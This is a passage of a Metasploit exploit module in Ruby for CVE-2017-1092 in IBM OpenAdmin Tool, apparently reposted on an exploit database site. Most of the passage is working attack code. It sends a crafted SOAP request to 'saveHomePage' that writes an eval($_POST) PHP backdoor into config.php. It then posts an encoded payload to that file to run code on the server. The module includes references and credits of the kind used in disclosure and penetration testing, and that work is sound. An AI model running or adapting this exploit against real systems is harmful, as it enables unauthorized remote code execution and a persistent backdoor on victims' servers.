The 'welcomeServer' SOAP service does not properly validate user input in the 'new_home_page' parameter of the 'saveHomePage' method allowing arbitrary PHP code to be written to the config.php file. The config.php file is executed in most pages within the application, and accessible directly via the web root, resulting in code execution. This module has been tested successfully on IBM OpenAdmin Tool 3.14 on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance. }, 'License' => MSF_LICENSE, 'Author' => [ 'SecuriTeam', # Discovery and exploit 'Brendan Coles ', # Metasploit ], 'References' => [ ['CVE', '2017-1092'], ['EDB', '42091'], ['URL', 'https://www-01.ibm.com/support/docview.wss?uid=swg22002897'], ['URL', 'https://blogs.securiteam.com/index.php/archives/3210'], ['URL', 'http://seclists.org/fulldisclosure/2017/May/105'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Privileged' => false, # Privileged on Windows but not on *nix targets 'Targets' => [['Generic (PHP Payload)', {}]], 'DisclosureDate' => 'May 30 2017', 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [ true, 'The base path to IBM OpenAdmin Tool', '/openadmin' ]) ] ) end def set_home_page(homepage) xml = Document.new xml.add_element 'soapenv:Envelope', 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema', 'xmlns:soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/', 'xmlns:urn' => 'urn:Welcome' xml.root.add_element 'soapenv:Header' xml.root.add_element 'soapenv:Body' body = xml.root.elements[2] body.add_element 'urn:saveHomePage', 'soapenv:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/' new_home_page = body.elements[1].add_element 'new_home_page', 'xsi:type' => 'xsd:string' new_home_page.text = homepage uri = normalize_uri target_uri.path, 'services', 'welcome', 'welcomeService.php' send_request_cgi 'method' => 'POST', 'uri' => uri, 'ctype' => 'text/xml; charset=UTF-8', 'headers' => { 'SOAPAction' => 'urn:QBEAction' }, 'data' => xml.to_s end def check fingerprint = Rex::Text.rand_text_alpha(rand(10) + 6) res = set_home_page "\";##{fingerprint}" unless res vprint_status "#{peer} Connection failed" return CheckCode::Unknown end if res.code == 200 && res.body =~ %r{";##{fingerprint}} return CheckCode::Detected end Msf::Exploit::CheckCode::Safe end def exploit cmd_param = Rex::Text.rand_text_alpha(rand(10) + 6) res = set_home_page "\";eval($_POST['#{cmd_param}']); #" unless res vprint_status "#{peer} Connection failed" return CheckCode::Unknown end if res.code == 200 && res.body =~ /";eval/ print_good "#{peer} Wrote backdoor to config.php file successfully" else fail_with Failure::UnexpectedReply, "#{peer} Failed to backdoor config.php" end vprint_status "#{peer} Executing payload..." send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'conf', 'config.php'), 'vars_post' => { cmd_param => payload.encoded } }, 5) print_warning "#{peer} Replace the 'config.php' file with 'BAKconfig.php' to remove the backdoor" end end # Iranian Exploit DataBase = http://IeDb.Ir [2017-08-21]
